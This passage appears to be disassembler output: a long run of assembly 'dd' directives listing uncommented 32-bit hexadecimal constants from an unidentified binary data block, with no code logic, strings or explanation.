		dd 58585494h, 0B07B26FDh, 3637CC2h, 0C890F988h,	0EAA15B59h
		dd 0DE91128h, 45381038h, 0BD555080h, 76E754F9h,	3F09B590h
		dd 37E031h, 1B6C181Eh, 0A1F5F22Dh, 2F206B5h, 0F4C1E82Ch
		dd 2CA60B7h, 0F880FBF1h, 0A016B551h, 6412EDD0h,	79D75484h
		dd 0C461498Fh, 7BAC4E2h, 0C3830427h, 83080C7h, 0B69513h
		dd 0A347442Dh, 0E9D82936h, 64B3926Eh, 0FC8059CBh, 7E0E094Bh
		dd 84522553h, 0AEC0581Ah, 4D773D99h, 0DBC20124h, 0C80AA000h
		dd 25F38754h, 90ABEE81h, 80E95501h, 0D4995369h,	7C78C4BAh
		dd 9E24D29Bh, 0DD26CE2Ch, 0FC009E0h, 0D1FF3484h, 0C7BF8451h
		dd 42138732h, 19EA2961h, 1E4DB664h, 66AC0307h, 0A3143B68h
		dd 0A6A59D89h, 346C42h,	805BDA28h, 6CF8BF2h, 2D12950h
		dd 1156D7Dh, 33765468h,	0FFF27E2Eh, 40009CFEh, 4ADAF75Ah
		dd 0E4D4F281h, 52E41FFAh, 0DF310B5Bh, 2F86DD83h, 37E694Ch
		dd 459EA30h, 0FAD0C394h, 5DDEAF26h, 8CC1A992h, 14615753h
		dd 0CAD4EB2Ch, 6CDE148h, 0E8AC600Bh, 0B4879440h, 613788A1h
		dd 0E721AD17h, 3102732Bh, 24330941h, 4141F260h,	5AAC9024h
		dd 0C903185h, 8D084813h, 0A2298340h, 0A2E68098h, 285AA669h
		dd 0E684D521h, 50ED4CC1h, 50019710h, 0F9A0438h,	4987A1h
		dd 1D70F580h, 8F59EE30h, 77C53DC3h, 9556D963h, 4F4060D8h
		dd 3D9B635h, 0A2940615h, 3C0FA3A8h, 0E7E029E8h,	7C1A285Ah
		dd 0A9DFF728h, 87A5678h, 0BC085FB8h, 615104Eh, 543F60E9h
		dd 3C965F93h, 6651C9CBh, 0E4508812h, 22F681FBh,	51131133h
		dd 87858C5Eh, 0C7E9F10Ch, 0A8572470h, 8078BF1Ch, 51785259h
		dd 20032A2Fh, 7A470A5Ch, 0FABA012Eh, 0E9D185B8h, 9D25DAh
		dd 58662F9Fh, 0E3DD7E1h, 53EB13B4h, 398FAE83h, 1A33E976h
		dd 30B15A30h, 408654Dh,	0BF7673DBh, 83B54A0h, 0CC753A90h
		dd 21E3B107h, 0F5905FFDh, 79800194h, 17E84B20h,	0E96728DEh
		dd 4900A55Bh, 66D830ACh, 98B13B51h, 62CAC826h, 112C1692h
		dd 243E4572h, 64607DE3h, 0C159CE11h, 2D037BEEh,	81A68E16h
		dd 0CA1BEE02h, 0ACFEE328h, 0A0391195h, 95260615h, 95D95532h
		dd 95063044h, 2B8CF10h,	22C5E281h, 74606976h, 0F905C74Eh
		dd 6413E9E4h, 91B934D8h, 44A2494h, 0A519589Dh, 0A5EA3154h
		dd 628E9A4Eh, 0E7EC0A26h, 3941F63h, 884DEDA5h, 39DA8C40h
		dd 0D131D3E8h, 13C1D4A0h, 0BB8E83Fh, 0C559CF01h, 8A59269Fh
		dd 10402966h, 4A4094A9h, 3B664A30h, 9B24CBC8h, 9F329C2h
		dd 1A561608h, 0ED407E09h, 9C0255A2h, 5BD93138h,	2C3EE041h
		dd 4EC10E2Eh, 0F5E4C801h, 0F9D81D4Ah, 313D1AB0h, 0EE0C77F2h
		dd 84F22110h, 677DA636h, 0D35FEA88h, 0CECF5F48h, 0A6E5EDE3h
		dd 11538073h, 200BFC3Fh, 21878AE9h, 7E5C1A5h, 0D617F260h
		dd 0CCF0112h, 7650C831h, 930D6106h, 8528BAE9h, 0CD3660Ah
		dd 4D1C918Dh, 3F2478F6h, 0D0683E6Eh, 0D74C01C3h, 211C57Bh
		dd 5CD685Eh, 0BD040B66h, 317F7E4Bh, 50C087C4h, 79E621C1h
		dd 0E9C50922h, 2F27EF49h, 6B1823EBh, 51D4F0CCh,	465AA5C9h
		dd 136A9E0Bh, 5E152256h, 0FCB4B1E4h, 50596052h,	0FD60DBDDh
		dd 0A648D4C1h, 4F42041Ch, 45E464Eh, 0AC0EAF68h,	0F931F065h
		dd 95C3CC0h, 14E2D1C2h
		dd 0C4E38953h, 0EB21A353h, 93351C97h, 126DCBB0h, 578D74h
		dd 50DE099h, 0E22CC15Ch, 0CE029007h, 0C0476C5Fh, 28E6B31Eh
		dd 50927CA0h, 0DBA6124h, 55AB7DD7h, 0DD69E042h,	9501DF2Ch
		dd 442A720Bh, 6EC2F05Dh, 0A2EF1018h, 0BEFD5FE6h, 58651EB1h
		dd 6C94BCC0h, 50652CB0h, 0A56800AFh, 5F6BEF5Dh,	67E94717h
		dd 0ED803C80h, 0CB06CECAh, 0C50EE50Fh, 0E92D7BB0h, 57A60793h
		dd 0C40E9662h, 679820DCh, 74B4D384h, 68C9BA29h,	9E5DE5C4h
		dd 0F2C16229h, 510287F1h, 715DDA68h, 0AD8F49CCh, 58285030h
		dd 5D2E2179h, 4024F1C1h, 222231A0h, 183A924Eh, 64CD95E9h
		dd 0E2C583B5h, 46C7881Eh, 52D3616Eh, 442073B2h,	0C21A9E40h
		dd 16FB3DC9h, 4EF6A820h, 7415A124h, 6002451Ah, 0BB13D0Eh
		dd 0EB01EA5Eh, 6816EC46h, 10353AFDh, 2A5072B3h,	0B390480h
		dd 84F30131h, 0E9080238h, 84963A2Dh, 495D4Ch, 383533EFh
		dd 0C2EBF381h, 5BDD010Dh, 3C52B864h, 0F45F2C36h, 3E083824h
		dd 7281322h, 538604A5h,	5BA32CF8h, 0CEE3C29Ah, 3BE941DFh
		dd 3C56247h, 34CE03D6h,	0B8367C31h, 84574A29h, 0DF50F23Fh
		dd 0DA219044h, 5FF9F280h, 0BEC17F83h, 0EC2D8154h, 656D2028h
		dd 68D7743Eh, 173C7620h, 351862E9h, 0D4360482h,	31AD0230h
		dd 55EDC1D8h, 75A4247Ch, 0DF2A8247h, 0EF010040h, 0DD0A1C98h
		dd 0D449290Bh, 208B5094h, 629F9831h, 5B1412DFh,	0D9B38709h
		dd 45F81285h, 0FA840F06h, 681650F3h, 89611526h,	0B802529Dh
		dd 68563F80h, 4B041ED9h, 1705E97Ah, 53240FA2h, 4302499Ch
		dd 8903EE9Bh, 2A3CB9FAh, 0B0FED590h, 965EF021h,	99F5A00Eh
		dd 998194C4h, 8B28247Eh, 7DFB086Ch, 38EE023Eh, 632D7451h
		dd 8CC6C2AFh, 7B641C08h, 5A093433h, 64768D0Eh, 3B59166Bh
		dd 0C6464E96h, 47749AAh, 9E68384Ah, 56ED8C20h, 7FFA9690h
		dd 0BE142200h, 253C283Ah, 3980B431h, 0E945EB87h, 0B5F66006h
		dd 3E128578h, 8C1FF189h, 925B1E3Ah, 0E0FA0E8h, 0A92AC960h
		dd 0C495804Eh, 1862C134h, 7442EFE9h, 0C9BCFE29h, 9AF48B6Bh
		dd 0D24444FAh, 6041B19Fh, 8AB051C9h, 13CA9220h,	89504268h
		dd 1E10DBDEh, 5A00E16Fh, 0DB3BF57h, 0C1121369h,	280104E7h
		dd 124886E3h, 564012Ah,	41092125h, 37352792h, 675A132Ah
		dd 0E0354F37h, 1E5ECF0h, 0F746DB13h, 64B5E9DEh,	0FC9E0197h
		dd 9FCFC614h, 2D67189Fh, 846CA4F1h, 2B283A3h, 0E9188296h
		dd 0D2209EBh, 7A2C00ACh, 47073576h, 5022E32h, 0ABF7F84Ah
		dd 81B16001h, 142C13CDh, 0E3B60616h, 0E04BB913h, 86E85C8Ch
		dd 0E9B69A88h, 0FFC68007h, 0E653CEFEh, 7081CABDh, 138CB4A1h
		dd 0DC631424h, 76A5CC9h, 165E346Ah, 0D7720D6Dh,	0A7288196h
		dd 0D3EB3C07h, 2682BCCh, 1159E31h, 0B8C053C1h, 0A6076329h
		dd 58C38952h, 0EA09BBh,	8C34CAC3h, 0D9012CEFh, 8058C462h
		dd 1D0AED38h, 0D2F7631Fh, 7A83EA17h, 4AA02D0h, 66F82C06h
		dd 0F4B524C1h, 0A69679DEh, 7180EA52h, 215C71E7h, 654A558Dh
		dd 6E20806Ch, 225C5547h, 0F3033C2Fh, 3127970Fh,	79CAE041h
		dd 0B8655C0Dh, 4AA2E23h, 8F02BB0Ah, 9F66BC7h, 0F50E7E58h
		dd 0C5FD71EBh, 0E5A039E9h, 4FAC9828h, 4F5D5293h, 914951CBh
		dd 0DD2D52C0h, 486A2A58h, 45A1692Ch, 1932882h, 0E4D02F5h
		dd 33490D68h, 42B90E0Ch, 2964623Dh, 9E3276CFh, 0E49827F3h
		dd 989D5F7Dh, 937A680Ch, 0CF163CCCh, 5A8F2C10h,	0C02F2C93h
		dd 0B7A43DEh, 0FE890F37h, 5EF28403h, 8B88DA9Ah,	93FA200Eh
		dd 2D7BA6B1h, 7CBCD191h, 4AC647EBh, 3A02B262h, 814C5E09h
		dd 0B7D0E92Ah, 0BE929C85h, 3CD0E30h, 0E9660BCFh, 6A4C70A9h
		dd 27F6E125h, 9103D6A6h, 8AADD999h, 0C9DE4F29h,	0B1D9471Fh
		dd 10BEE4EFh, 0A392C1B8h, 0DE680C8Dh, 0BA292771h, 0A0C6BBF9h
		dd 8C083032h, 0FC9EFD3h, 29211113h, 8103AC4h, 10ABB7B1h
		dd 0B444E9D7h, 0A84C2549h, 0CA09379Ch, 0C2481BDCh, 3F02D02Fh
		dd 8999DD28h, 0F8F1C36Dh, 0ED62BB3h, 0C384111Ch, 0FD86D0F7h
		dd 5D59401Ah, 0A37F8897h, 1580D734h, 4E1651C7h,	0D77193B5h
		dd 337984D1h, 92B4A37h,	0A56F5C26h, 3C108445h, 0ECE4E982h
		dd 6583F4CAh, 1392CA88h, 5945DF51h, 0C7450BC1h,	2544B904h
		dd 4AE9E1A2h, 0C76F70F8h, 6217EA8Bh, 0A68602B6h, 0C04C22C9h
		dd 0C2800F10h, 41DB7F06h, 2EB1C02Dh, 42453530h,	86F7240Eh
		dd 0A10A106Fh, 8357DC07h, 0E7011524h, 362D7709h, 97054A30h
		dd 0DA83D039h, 9448D754h, 4202E984h, 68505200h,	0C2825407h
		dd 0F945F81Bh, 3AE4D9h,	0D8F7401Ah, 56000805h, 0BF3539E3h
		dd 9881387Fh, 4598DDh, 706137C9h, 0E9D1F72Ah, 243EA34Dh
		dd 0D009A6B2h, 32648266h, 2009533Ah, 3E1A0AD2h,	1DDE070Fh
		dd 756C8284h, 0AC74E6E9h, 64CFF724h, 32ECDDDAh,	935F55CFh
		dd 2975B271h, 37247E5Ch, 286E1324h, 850F0230h, 29E9F091h
		dd 0E046C201h, 0F352F489h, 0FA33DE4Eh, 9B7D50DFh, 7A2604B3h
		dd 0C4F72910h, 0E9080345h, 36026AA6h, 934B32BBh, 83B4E021h
		dd 60F60629h, 216DE2E9h, 21798063h, 5B7D05D9h, 0D85E5456h
		dd 684C5116h, 7E6DC508h, 284B2EB7h, 0D14A68FFh,	5CEBD444h
		dd 3A8C8016h, 0EE25489Ah, 0F9C4E089h, 0D25822E9h, 7644044Ah
		dd 0B5BD33EBh, 6925B405h, 9013F06Ah, 22F6F01h, 0C15DE889h
		dd 33C5B5CFh, 0E94046F5h, 1DCC0540h, 4650B973h,	8C9F32AAh
		dd 4C2A1E20h, 0F56F2E5Eh, 0D53BD666h, 6EB6EF05h, 7BB0F357h
		dd 0C523F339h, 90E26073h, 746043BEh, 0BAF78118h, 527EE90Dh
		dd 2D938D1Ah, 197460DCh, 86F614ACh, 0A1CDD74Eh,	0D1866D2Dh
		dd 53761EFCh, 94C40B4Fh, 51411FCAh, 0AE00747h, 27E9257Ch
		dd 7CE88C9h, 0E9C12C9Bh, 278114DCh, 320C7BC7h, 82EAB977h
		dd 3140C818h, 62A259FBh, 0A009E3F3h, 0FE7EB464h, 0BED3F8C4h
		dd 3F92C4Ch, 5AF4884Ah,	0C090E4B0h, 0FE0304E6h,	0B75352CCh
		dd 76FAFA71h, 0D0480049h, 23ECE9E5h, 55422B96h,	85CD6054h
		dd 0E30BAA3Eh, 4246D970h, 0D9220B55h, 24697E3Fh, 2CC852B9h
		dd 0AC800E39h, 4AF4702Ch, 13D08AD8h, 6B2079E9h,	484238F5h
		dd 0C810A56Ah, 0B0500012h, 341F0473h, 0C3283F8Ah, 20724913h
		dd 835A6F00h, 51E6A48h,	6B8D3504h, 4BE9A304h, 0CA68BDB1h
		dd 0D9EF83A1h, 925E6C87h, 425421C2h, 9FD830D2h,	665F8039h
		dd 7FC23129h, 54019D3Ch, 0F508FBE6h, 7F801DF9h,	0EA5843C1h
		dd 5CD0E9EFh, 29C5A0C0h, 5931148Eh, 1C984BFAh, 0B3246F52h
		dd 0E7079472h, 0C1673B0Bh, 9FD15E5Ch, 46C7750Bh, 90B86889h
		dd 80199209h, 4969CE87h, 36380206h, 0BCAFE02h, 3E685EF1h
		dd 9791561Fh, 0D15F6762h, 54EA9612h, 22D90C5h, 0D3219E40h
		dd 0EBC15A09h, 77F38705h, 310A2900h, 135B5EDAh,	124A54F1h
		dd 84EBD426h, 0E3695C68h, 0C38FC503h, 0DD9E1AE3h, 2A34A00Ch
		dd 73ECA97Eh, 0F70CA92Fh, 989D3C5Ah, 8203DDC7h,	3129AE00h
		dd 68024F59h, 20521009h, 94C9785Dh, 91052726h, 0A095B802h
		dd 0B5F9F65Ch, 78B39990h, 0E6014B5h, 714B4719h,	0DB3DE9C7h
		dd 5BFE90A0h, 41FEEC0h,	3C52D6F6h, 18B7A284h, 5CF8284Bh
		dd 0C08AC7D6h, 0B2E99606h, 0A6A72C4Bh, 0C1E2E509h, 0AD70D95Dh
		dd 1C5C133Bh, 2E510144h, 22139B4Bh, 34957C23h, 27199E69h
		dd 0E9182C44h, 0F2271047h, 6F640420h, 0F6D6013Fh, 25554858h
		dd 0B5E9E877h, 18EA001Ah
		dd 15E54FBAh, 0F21501E7h, 803D348Bh, 56230FEEh,	0A08E9E7Eh
		dd 690FBC08h, 0E68E87C8h, 0A279A0B7h, 95522D13h, 9063DF25h
		dd 703B0578h, 29587209h, 80308C8h, 595FF881h, 43FEC201h
		dd 35A2D4D1h, 0C2C44B78h, 76E088EDh, 0D482FB5Bh, 97352E4Eh
		dd 68C702C1h, 1E901775h, 4082430Ah, 12669B04h, 0C1D3B353h
		dd 0A5CB2EEDh, 0CB4D1C4Ah, 8BA8878Ah, 0FFB8400Dh, 1F00C946h
		dd 0E34BA52h, 4AE93CEDh, 0F72943E1h, 27F20831h,	0E5260376h
		dd 0B60D3587h, 0EC2998A8h, 7594D701h, 0DC385051h, 0ECD6E092h
		dd 0F35D0661h, 15CC3513h, 7FE1B843h, 8420E8Ah, 1AA5DF89h
		dd 0C09AC9DCh, 0F87B382Ah, 2804F924h, 0D385151h, 219B68C2h
		dd 5927A446h, 940CE15Bh, 7549B028h, 0E548BDA5h,	0CF3112D5h
		dd 0AE39DE9h, 4A9F68E7h, 79368D7h, 50F64DABh, 0E9DDF745h
		dd 20136A2Fh, 0EF8867C8h, 0FD202E59h, 1CAB089Bh, 45632D07h
		dd 0AD502927h, 0EC591118h, 70551D0h, 0E91181D6h, 0F58983B8h
		dd 4CD3060Eh, 8F184B28h, 0E7C8A57Eh, 0FE1D03E9h, 7EFC149h
		dd 2EA71238h, 0F701EFD7h, 7E802EA0h, 0D183B741h, 0F9010A94h
		dd 1CCD0549h, 4D36F0DDh, 0A1E9190Bh, 0AA52E4E6h, 0C292302Fh
		dd 0A9408284h, 0A499585Dh, 27506884h, 85C734A8h, 0B84EE011h
		dd 2B0B4BE5h, 0C6E83101h, 0C32925BAh, 584D9EC6h, 9F2AA633h
		dd 0B9007414h, 4FA25A60h, 1659CB01h, 0E214A3E9h, 51458EFh
		dd 50748732h, 2917BEE8h, 0E980C85Ch, 5916A22Ch,	86CF8887h
		dd 78D9F623h, 5BF92C08h, 86D13C39h, 98059D4h, 9E961F1h
		dd 8CBEEEA0h, 124C2A11h, 0D88344Ch, 5E0B11FDh, 3CCA20E9h
		dd 0E0C17884h, 2DFA5C12h, 0F0CC061h, 9C64AF84h,	5785B68h
		dd 16E954CEh, 549234B3h, 53164E99h, 0E9D18C17h,	0B256644Fh
		dd 61FF7A06h, 20DDB00Fh, 35072142h, 2A024AAFh, 0F858C5C2h
		dd 84D638Bh, 28F2ED81h,	0EE01887Ch, 14FC7FFEh, 50760C84h
		dd 4B50817Eh, 0A1933846h, 0B804DC1Bh, 347B84EEh, 5F7C0105h
		dd 382060B6h, 27557618h, 24926E82h, 2EE60541h, 0D6844327h
		dd 0A05D87F0h, 3E1C11E2h, 0E2274E97h, 0C131CA04h, 4815572Bh
		dd 3A402B97h, 28B414B1h, 41CD8CFh, 0F813F0h, 0E3C006AEh
		dd 0F3288005h, 0A9D9A1Bh, 0A308D8C0h, 0F82253h,	0C0DDB050h
		dd 0FA0C05E8h, 92E46690h, 14D23424h, 0AA20B220h, 89315F1Ah
		dd 4C73EC40h, 7C1FBCBh,	0AB53B639h, 0F2EBB729h,	0B680B711h
		dd 73887820h, 75EC89B8h, 0A2107F26h, 9030402h, 96AAD663h
		dd 0B65FC11Ch, 0CFBADC0Eh, 5F390CB2h, 94BF8E57h, 0D7F7E743h
		dd 0C0EF81A1h, 0FE314028h, 0BFE6D108h, 9DB8ACD3h, 2096E905h
		dd 2D000EB9h, 843C840h,	585EC601h, 427CF800h, 5B21FEF8h
		dd 53A99F3h, 0B88BB0F7h, 643B7E00h, 76A7BE36h, 0ABCFA18Ah
		dd 0BF979CEh, 6332E745h, 26A6CC1h, 0B7946030h, 0EF800E09h
		dd 0CB7F2878h, 0AF512490h, 2F7B2983h, 5C24EF7Ch, 6840E416h
		dd 36200526h, 81750EC1h, 16EE2096h, 0F683800Eh,	0C558FED5h
		dd 30141FB2h, 6C59D1B2h, 2C53482Eh, 0A7502D34h,	0C61C6400h
		dd 84A59DB1h, 0BE4E5BC8h, 16785081h, 5C0287F2h,	5B717230h
		dd 0B2DD905Bh, 0E424E91Ah, 0C4B32222h, 5C060533h, 8BB0F66h
		dd 30891A34h, 6F0C5E8h,	657EB80h, 0C2012F41h, 81040717h
		dd 2E2AF22Ch, 3FDDAE31h, 3D25802h, 0E9B430F4h, 10127BBh
		dd 8C4FB50h, 971AF920h,	225FBCBBh, 5C0018DAh, 35685652h
		dd 19010E58h, 0D1E6815Eh, 87C83736h, 125690FEh,	496C71E9h
		dd 8200DB43h, 3CE612D4h, 0D80B1DB8h, 0F8873B5Dh, 40ACB0C7h
		dd 0E19EBED9h, 2DF0BEBEh, 5B2284AEh, 345486A2h,	76EDBAF2h
		dd 0B665F5Dh, 0F2F2F6EDh, 1EBD7035h, 806A481h, 32059469h
		dd 0B836103Ch, 8ED2814h, 0D9E92Dh, 0FCEE80D5h, 5AF51988h
		dd 5D81852h, 0F1402D83h, 3970392Ch, 0A3CD1453h,	0BF019609h
		dd 2979472Eh, 431D1h, 1C055A08h, 75C75C3Ch, 4C606F09h
		dd 2F53D04Dh, 37E441CCh, 569D505Eh, 85277628h, 0E5B28F40h
		dd 93C787C0h, 0A13B792Ch, 12BD1B3h, 7B3EE3A3h, 55DFE867h
		dd 1C230C8h, 4B09FCBDh,	44FD7163h, 15D6F1B3h, 0A3980A3h
		dd 6725BC30h, 321E0047h, 5C1147Ah, 776808E7h, 2B92CD16h
		dd 69E93202h, 0D0EDA02Fh, 0A1A8635h, 0C7210832h, 92C0DB8h
		dd 0D8512135h, 35015EF0h, 71B36FCDh, 0B13C9BE9h, 8939C24Bh
		dd 0EDEC7F4Ah, 667D919Fh, 920E8248h, 5155017Bh,	0BA786368h
		dd 0F1F42001h, 767E4D12h, 0F47FABADh, 6189760h,	6B960C4Ah
		dd 16ACE452h, 213F7168h, 81037F34h, 2111C32Fh, 380902A6h
		dd 75E00E2h, 0C6814142h, 5FB7F52h, 0E9F329DCh, 3CFA9633h
		dd 2D529697h, 0E04023E9h, 48955456h, 8125ECC9h,	76B705Dh
		dd 1F3B686Eh, 0E63C118Bh, 7D1928B7h, 0E930410Dh, 89BF898Ah
		dd 2DE85324h, 619D6EE8h, 12FB598h, 816E465Ch, 92C65B0Ch
		dd 767D855Ah, 8E1B4D0h,	24BE7056h, 7AD14Eh, 625C71EEh
		dd 0B83B5046h, 73F69686h, 4FE93803h, 0EA7B0032h, 112B2E4Dh
		dd 2AC1F201h, 16425379h, 2CE90212h, 0E31874B2h,	0D242CCB4h
		dd 8AE6483Ch, 0FADB82BBh, 9EDF5969h, 0FC10E58Fh, 0D6BA068h
		dd 6B5E7924h, 2565904h,	74B1685Eh, 91B86757h, 3177AC0Bh
		dd 511D7A66h, 0D38F435Bh, 680B013Eh, 55752987h,	9606FF5Bh
		dd 4E455A67h, 338F00AEh, 0DD8911F1h, 76B84D5Bh,	60465209h
		dd 94418078h, 2672A15Fh, 0C66EF89h, 0D19D380Bh,	0C1805A04h
		dd 8F8C668Bh, 0CFFE7A02h, 5F71018h, 88C83053h, 6680837Ah
		dd 8B63E52h, 131EF0A8h,	0CC7AC268h, 7AB22CE5h, 79EC585Dh
		dd 0E3C05A4Bh, 1E7F2D48h, 0D63D3053h, 183C127h,	0D35428CEh
		dd 0AE314889h, 0E64AB568h, 0F9C860Eh, 5AC5777Fh, 83DA0D2Eh
		dd 88D52824h, 256E2F34h, 19CE4527h, 851D2C04h, 4FF6E991h
		dd 0E29393E3h, 568B8EBCh, 3F8BA9A3h, 68526B40h,	0A4028C04h
		dd 80805A03h, 6966AF38h, 6E06DAEDh, 0EF359E3Fh,	15A3405Eh
		dd 0B262EC2Fh, 8FF6654Ch, 0D489ACB5h, 14269D06h, 0FC045E3Ch
		dd 2919586Bh, 0F1BD2EB5h, 0B0545212h, 7D0899A7h, 1743173Ah
		dd 414C01D2h, 605FFB29h, 822468B4h, 0D0C06249h,	1D11993Ah
		dd 9C25460Dh, 7061C721h, 404870DBh, 7849F5E9h, 0BD878D0Ch
		dd 5820DDCDh, 0E30A13C5h, 9FBD1518h, 306A4803h,	0EFFA5F5Ch
		dd 0BE5D0780h, 41005061h, 65B95116h, 32598E5Eh,	0FE06CE29h
		dd 0B0BEB88h, 6A259DE9h, 0C19B8201h, 0CB536F4h,	5A2D42BDh
		dd 65E93E01h, 592E82C5h, 490CC980h, 54300172h, 2608472h
		dd 0EDCDFE3Eh, 7A97FFB3h, 56250921h, 23240C74h,	9C048351h
		dd 0CEA9C8D1h, 0EE533A5Dh, 0FC5645E0h, 1F096ADh, 795297BFh
		dd 42FDFD16h, 0E840DDBFh, 0A005B165h, 548BE992h, 4B791FF3h
		dd 31EB01CBh, 2E295AD3h, 0A2EE4581h, 55193BFCh,	8019201h
		dd 0E636525Fh, 2758E909h, 0E0A4CA56h, 0D149F0A4h, 0A0B096Ch
		dd 62C0831Ah, 0F781D768h, 44F3C0D2h, 83B42FD4h,	0F808D02h
		dd 2E20A34Ch, 0BE8F776Bh, 60F0498Dh, 14465009h,	0A1580022h
		dd 606A568h, 4DE9F501h,	0C17664C8h, 134F0848h, 0A8015D56h
		dd 15FF929h, 0E9135333h, 5CDBB01Fh, 0ABE1F62Dh,	489E5A9h
		dd 0E9341568h, 0C02697D2h, 401F9C66h, 30E95FF8h, 455AEB67h
		dd 44127E62h, 6575A0B2h, 0E277D2B8h, 1A6E1266h,	0CA4C7F61h
		dd 0B769A805h, 52142748h
		dd 6E3E6812h, 598A81F2h, 2D6A3B9Ah, 19EB024Dh, 5C4351F2h
		dd 737E1B8Ah, 915A353Ch, 0A1DD4FE2h, 0AB415C0Eh, 6FA504CAh
		dd 31257680h, 0C9E927C2h, 0C5CA8B63h, 1C038FB0h, 0E95BA204h
		dd 28AADB3Ch, 27534699h, 2DC34CAFh, 5C5A84B7h, 7E18DAA9h
		dd 51D83108h, 0DB45001h, 2C58E188h, 19C81D30h, 5ED604E9h
		dd 0DE915729h, 313A3B61h, 1077FC1Ah, 74173A95h,	45532595h
		dd 0DEDBE942h, 8BF544A8h, 0EE83170Eh, 40840388h, 0C5905ADDh
		dd 2DBA5203h, 0F135577Eh, 0A62D6D40h, 0F05C7120h, 10FB91E8h
		dd 0A24BC038h, 0AB05A47Eh, 66C07B8Dh, 483EE781h, 0AC50E60Eh
		dd 0EE70056Ch, 9403E96Eh, 4153CB9Ah, 6E84199Dh,	0CFE94631h
		dd 0BE096616h, 0AFB1857Fh, 0E8ABCBEFh, 246EEAD0h, 2431E730h
		dd 0DA29C010h, 615B5BE9h, 0C2054993h, 0E0307834h, 68660FC3h
		dd 476F62E7h, 71D5D2D3h, 3958C749h, 1F981023h, 87FD8917h
		dd 4536A51Ah, 1E2CACB1h, 0B252CEF9h, 5AD02883h,	4204AE9Ch
		dd 0BC12DEA9h, 0F7DA1768h, 2C02E3D0h, 6083B006h, 94B614EDh
		dd 5A7AF028h, 320E8D2Eh, 0EF2067A8h, 28497DC4h,	7321CA07h
		dd 2C51604h, 2372B255h,	0A6EEA92Ch, 0C3201465h,	3A6857A0h
		dd 0E979CFA0h, 5ED5E134h, 71A1A301h, 0F604283h,	6B4E90h
		dd 0CD51EB96h, 0DDEEF53Fh, 8335EDF5h, 2F2AF255h, 10809477h
		dd 0BFB6031h, 1429E92Bh, 0F12F8BDAh, 205F664Ch,	70A07B33h
		dd 999AB61Eh, 4402ED30h, 0E084EC0h, 0D0F74875h,	25E8D160h
		dd 0DC0A42F3h, 8653E937h, 0E4CF84A9h, 74BA1DAFh, 6B64BE96h
		dd 85EF2DAAh, 5319E90Ch, 0BDA064ECh, 22503B6Fh,	0F872C58Ah
		dd 8A2EAD62h, 42D65CEEh, 185C1C8Bh, 24D3A743h, 15005F1Ch
		dd 6838E571h, 5BBDCC4Bh, 4F5E3C90h, 0B1C5C5D1h,	0DF5213E0h
		dd 6D578287h, 0A64189F2h, 3F68635Ch, 5E741751h,	6E10D3B6h
		dd 73307E55h, 58C29DB5h, 75E20381h, 536AF32Fh, 630E82F9h
		dd 685C046Eh, 0CFB84091h, 0DA4EB498h, 74C56AB4h, 44E66E97h
		dd 0EFC0035Fh, 77C78006h, 0F53D10DBh, 410A04BDh, 9A800113h
		dd 16DB0559h, 0A7CEB21h, 2C072D50h, 7BBA1A25h, 0C157BF0Ch
		dd 2EBEE4Ch, 8696FAF6h,	2F625E41h, 5859CC16h, 0E0885E0Dh
		dd 806BA25Fh, 0A658AB72h, 0D2B863h, 0A4ADCE7h, 7118E926h
		dd 0A06C449Dh, 30DC87Ch, 0D3F7656Ah, 20AED0E9h,	3DFBB905h
		dd 0BCE127FEh, 320FC06Ah, 0FAF30A98h, 8018D42h,	693F9EE9h
		dd 4B8D17A6h, 0FEF905A5h, 0EC023E06h, 89F526A4h, 0CC49C1D8h
		dd 5D68CB34h, 3C6BB8CBh, 0C3015521h, 2E2A2558h,	0E912589Fh
		dd 58F3FCDCh, 613389E0h, 296A5D6Dh, 19970B55h, 5E8B1DE9h
		dd 0A151C2DBh, 4C456826h, 0E9C4A57Ch, 5CB492BDh, 62C256F6h
		dd 1F24596Fh, 0D77A1868h, 0E082EA48h, 251CAE9Fh, 0E9085190h
		dd 68C32F07h, 0DF59808Ch, 1248334Eh, 17E138C1h,	681C7956h
		dd 583B7290h, 0C28B0D27h, 0D3545416h, 0B340EE83h, 0FB681653h
		dd 0B4F43016h, 7958B7A3h, 0BCE90922h, 0CB512Ah,	6FEF32F5h
		dd 5B00D989h, 5807D22Dh, 95C82924h, 41BB1619h, 0D0622D0Dh
		dd 5006436h, 10865638h,	0BFBFF4E9h, 9F5EBD32h, 80E1B260h
		dd 0F66116E2h, 0DA2E08D2h, 0CF78783Dh, 620F762Ch, 17F00244h
		dd 57EE4033h, 0D7F687BAh, 578C0BD7h, 7E733C1h, 0C79471Ch
		dd 12B75248h, 0BDAD539Ah, 0E9B36196h, 0EC28F3h,	2CE15705h
		dd 90C68914h, 4E9FFC42h, 625BD044h, 2D581777h, 59B4D81h
		dd 5156E189h, 62433AC0h, 0B940023Ah, 227E68CDh,	5B4BC8C3h
		dd 0CBC6F25h, 8718E9CEh, 5872C129h, 26CA5ADEh, 3B023A4Eh
		dd 75760E73h, 0B64A0F96h, 0F5DC781Eh, 24024403h, 605DD201h
		dd 472D219h, 0FDE90785h, 7C5B925h, 29E0017Bh, 546B41B2h
		dd 810480A6h, 683462CDh, 0BF21B76h, 0CEF9B503h,	0D95DEF29h
		dd 307F50A2h, 2B5CDED1h, 474F5612h, 70F753B4h, 6D625BCh
		dd 116CC922h, 0E2A6F449h, 5BAE1C5Dh, 5F030B46h,	953F8565h
		dd 3F1C49A4h, 95BC468h,	32E9DE01h, 315D3042h, 9C000978h
		dd 0B25969E9h, 28AD0743h, 0B4A26F01h, 40A276B3h, 0C0FE82B0h
		dd 2C38C8E4h, 0E9C60587h, 40AD0855h, 11F0D704h,	598482E2h
		dd 56ADF681h, 0EAFA8919h, 0F3DC0705h, 0B0146E93h, 1F672CCAh
		dd 0D2E96463h, 50E7F353h, 0FAF8086Ah, 595ACCBAh, 0CC3AB28Dh
		dd 6262A5F4h, 7EB2080Bh, 0CE686186h, 0D21D971Bh, 0C981F840h
		dd 767F1FD6h, 0B3F10508h, 8048AD26h, 0B62772A7h, 0DAC2AA5Fh
		dd 42E5545Dh, 69C8B1DBh, 807307ECh, 0E228E60Ch,	18500758h
		dd 0C3054B4h, 0D892CAFEh, 0AAEA9420h, 80544035h, 0D082429h
		dd 73F80222h, 2B403AA2h, 0C5974D05h, 0DE218C5Fh, 2EEF343h
		dd 21E1CE6Ch, 4C7F90B5h, 54963EBh, 540C774Bh, 0C2E9310Dh
		dd 0CB004169h, 2A42367Bh, 7E90EBC1h, 0CE97BF5Ah, 0D9126D90h
		dd 335A314Ch, 0B98A8Bh,	2F15AA0Dh, 6C002839h, 753D0151h
